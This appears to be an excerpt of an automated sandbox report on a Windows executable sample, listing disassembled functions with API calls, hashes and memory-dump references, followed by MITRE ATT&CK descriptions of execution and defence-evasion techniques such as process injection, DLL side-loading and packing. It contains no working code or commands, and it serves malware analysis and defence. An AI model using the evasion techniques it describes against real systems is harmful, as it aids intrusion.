Opcode Fuzzy Hash: 658b4876bea9a8bece07b5456c8f78c4c70d40f2c6fa2f9dfd32a3ad49077d6f
Instruction Fuzzy Hash: 63511472625A02AFDB299F14C851BBAB7B4EF01310F14442FE8459B391E772ED60CB90

Function 002E3537 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 002DE641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,002DFDE8,?,00000000,-00000008), ref: 002DE6A2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 002E359B
__dosmaperr.LIBCMT ref: 002E35A2
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 002E35DC
__dosmaperr.LIBCMT ref: 002E35E3

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e50b4a45cdd8fb6f85df15119e229c821dca05e76dd51bcf7510ee618eba07dd
Instruction ID: a109dceeea9d27e67086711e5c5a6e3990b4992cbd98b9deea1c9ab22f638f5b
Opcode Fuzzy Hash: e50b4a45cdd8fb6f85df15119e229c821dca05e76dd51bcf7510ee618eba07dd
Instruction Fuzzy Hash: 1D21F871660646AFCB20EF679849C3BB7A9FF48366780452AF825C7300D770EE208B90

Function 002D8042 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 929e6d463bfb7db297ff9c73ae39dd9194e9aba8ed78476ff8a5b256be128e98
Instruction ID: bb92230aac6ea879449eb8413a664cc60f0d71df103d3b3744d931b866fb1133
Opcode Fuzzy Hash: 929e6d463bfb7db297ff9c73ae39dd9194e9aba8ed78476ff8a5b256be128e98
Instruction Fuzzy Hash: AD21C031220206AFDB20AF65DC80D6B77A9EF40365720452BF929D7751EF75EC348BA1

Function 002E484F Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 002E4857

Part of subcall function 002DE641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,002DFDE8,?,00000000,-00000008), ref: 002DE6A2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002E488F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002E48AF

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f39d6de2a733e77b3b0bcd01df69b1fdccde9836478a8910e807ce6762092b0e
Instruction ID: 14dd32e43b212b907e2bea945ec9a66c96d45165281d0b7acba626ee770d9ec6
Opcode Fuzzy Hash: f39d6de2a733e77b3b0bcd01df69b1fdccde9836478a8910e807ce6762092b0e
Instruction Fuzzy Hash: 9C1104B55362E57F6A11BBB6AC8DC7F295CDE853E4B510435F40195200FAA4CE20DAB1

Function 002D457B Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 002D4582
std::_Lockit::_Lockit.LIBCPMT ref: 002D458C

Part of subcall function 002D24C2: std::_Lockit::_Lockit.LIBCPMT ref: 002D24DE
Part of subcall function 002D24C2: std::_Lockit::~_Lockit.LIBCPMT ref: 002D24F7

codecvt.LIBCPMT ref: 002D45C6
std::_Lockit::~_Lockit.LIBCPMT ref: 002D45FD

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: e3d1235c629150daef9d7e1de543a0ad59b632253d41787322a47b923589bc11
Instruction ID: c1fd286e0c9b11209082af178d6cae17f79d03bfd09885344e680500c230bbaf
Opcode Fuzzy Hash: e3d1235c629150daef9d7e1de543a0ad59b632253d41787322a47b923589bc11
Instruction Fuzzy Hash: 9C01AD75920129CBCB05FFA4A819ABD7765FFA0320F24050AE412AB391CF749E25CB91

Function 002EA4E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,002E9B0F,00000000,00000001,00000000,?,?,002E5A1F,?,00000000,00000000), ref: 002EA4F7
GetLastError.KERNEL32(?,002E9B0F,00000000,00000001,00000000,?,?,002E5A1F,?,00000000,00000000,?,?,?,002E5365,00000000), ref: 002EA503

Part of subcall function 002EA554: CloseHandle.KERNEL32(FFFFFFFE,002EA513,?,002E9B0F,00000000,00000001,00000000,?,?,002E5A1F,?,00000000,00000000,?,?), ref: 002EA564

___initconout.LIBCMT ref: 002EA513

Part of subcall function 002EA535: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,002EA4D1,002E9AFC,?,?,002E5A1F,?,00000000,00000000,?), ref: 002EA548

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,002E9B0F,00000000,00000001,00000000,?,?,002E5A1F,?,00000000,00000000,?), ref: 002EA528

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 727944f96ff06d92e81c9188ed2cac8712f48506d790ed9547c2f88a064d1f15
Instruction ID: 8ce1ab84c76488bed10d885c8e1b283137c5ec33716ccc56feae70e881ad0486
Opcode Fuzzy Hash: 727944f96ff06d92e81c9188ed2cac8712f48506d790ed9547c2f88a064d1f15
Instruction Fuzzy Hash: BFF01C36460259BFCF225F96FC0C9AA3F26FB883B0B814120FA0985220D6329930DB91

Function 002D59A7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 002D59B9
GetCurrentThreadId.KERNEL32 ref: 002D59C8
GetCurrentProcessId.KERNEL32 ref: 002D59D1
QueryPerformanceCounter.KERNEL32(?), ref: 002D59DE

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9d46b41c90b297b21baea1c6700646a5710685773bd36c740a1a73f018d137b2
Instruction ID: 12cfc8c66f420e227a8301eed41e508074536da3a5f5285ce270c47a8a06026e
Opcode Fuzzy Hash: 9d46b41c90b297b21baea1c6700646a5710685773bd36c740a1a73f018d137b2
Instruction Fuzzy Hash: 46F06274D1120DEBCB00DBB5D94999EFBF4FF1C254BA145A6A412E7110E770AB44DF50

Function 002E2117 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002DE783: GetLastError.KERNEL32(00000000,?,002E0AB9), ref: 002DE787
Part of subcall function 002DE783: SetLastError.KERNEL32(00000000,?,?,00000028,002DB9D2), ref: 002DE829

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,002D9266,?,?,?,00000055,?,-00000050,?,?,?), ref: 002E21D6
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,002D9266,?,?,?,00000055,?,-00000050,?,?), ref: 002E220D

Strings

utf8, xrefs: 002E22DF

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 8e2c94edc282cfe4eff7defbdd5bc2f7b60a8e52da91dd6ca211003f58590244
Instruction ID: 8dd69d196dd7643202ef7c4011179ab7f1a9d8a4a5d9f396618fa9cd0cd03c09
Opcode Fuzzy Hash: 8e2c94edc282cfe4eff7defbdd5bc2f7b60a8e52da91dd6ca211003f58590244
Instruction Fuzzy Hash: FE513F71AE0386E5D724AF778C45FA673ACEF45700F900465FA0BDB181E6B0D9788A71

Function 002DDFAC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,002DDEAD,?,?,00000000,00000000,00000000,?), ref: 002DDFD1

Strings

RCC, xrefs: 002DDFEB
MOC, xrefs: 002DDFE3

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: e2f3ba338d8c8f48d9d5b56e511b9c2022fc12cd5a98d042d5da18f19324d8ee
Instruction ID: 82c408be42883bf368475cb2e992f17d696a0c4cd007251863ecadad66e1eae0
Opcode Fuzzy Hash: e2f3ba338d8c8f48d9d5b56e511b9c2022fc12cd5a98d042d5da18f19324d8ee
Instruction Fuzzy Hash: 5B413971910209AFCF25EF94DC81AAEBBB5AF48305F19805AF904BB251D3B59D60DF50

Function 002DD818 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 002DDA8F

Strings

csm, xrefs: 002DDB22
csm, xrefs: 002DDAB1

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 42e8589ea5f7cd4ad6df6225e816f30960658cbe85e44b76217f230309c6d0e5
Instruction ID: 4799ce4ff32207b7957ed43d24a978545b40245d213e9aaa818e720d0259f6ce
Opcode Fuzzy Hash: 42e8589ea5f7cd4ad6df6225e816f30960658cbe85e44b76217f230309c6d0e5
Instruction Fuzzy Hash: CF310736560A49DBCF229F50CC44AAA7B69FF0836DB1A815BFC544A321D332DC71DB91

Function 002D29C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 002D4B74
___raise_securityfailure.LIBCMT ref: 002D4C5C

Strings

xf/, xrefs: 002D4C57

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: xf/
API String ID: 3761405300-1037373826
Opcode ID: 6073fc6d0b399c5c0eb0e714640d47c9d61044afb6850ec5578e3180009c5d3e
Instruction ID: fbfd1943e79c7749dd3b6b93d22dd7e54ca968a264b07c9bc0b9fcf6d91a4d34
Opcode Fuzzy Hash: 6073fc6d0b399c5c0eb0e714640d47c9d61044afb6850ec5578e3180009c5d3e
Instruction Fuzzy Hash: F721BFB4511304DBE700EF25F94DA64BBB4FB487A8F60507AE504CA3A0E3B5A980CF44

Function 002D4A8C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 002D4A97
___raise_securityfailure.LIBCMT ref: 002D4B54

Strings

xf/, xrefs: 002D4B4F

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: xf/
API String ID: 3761405300-1037373826
Opcode ID: 434ceb9d061d2fa57875019444e4e9dfd18d7b6163076156742dc7bffa57396c
Instruction ID: ecd449cc0dc407bbab89e888d35b14a581dae11a34690b5c8ccef05b02b57f99
Opcode Fuzzy Hash: 434ceb9d061d2fa57875019444e4e9dfd18d7b6163076156742dc7bffa57396c
Instruction Fuzzy Hash: D91172B45513089FD700EF26F94DA60BBF4FB587A8B10917AE80887370E7759941DF45

Function 002D29D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(002F648C,ios_base::badbit set,?,?,002D1C84,002F6478,002D1B17), ref: 002D29DF
ReleaseSRWLockExclusive.KERNEL32(002F648C,?,?,002D1C84,002F6478,002D1B17), ref: 002D2A19

Strings

ios_base::badbit set, xrefs: 002D29D8

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ios_base::badbit set
API String ID: 17069307-3882152299
Opcode ID: 018bd3de3df93f0772da2baa99f33d94ff1d108c61526869d88a584c7e214d2e
Instruction ID: 1bc0d348e1acfaba86ee5b2c0ac8e9946153f7a431d8bbebc9c85fe20869cd69
Opcode Fuzzy Hash: 018bd3de3df93f0772da2baa99f33d94ff1d108c61526869d88a584c7e214d2e
Instruction Fuzzy Hash: 11F05830520245CBC720EF18E818A75BBB8FB957B4F20033AE9AA433A0C7711C66CA51

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

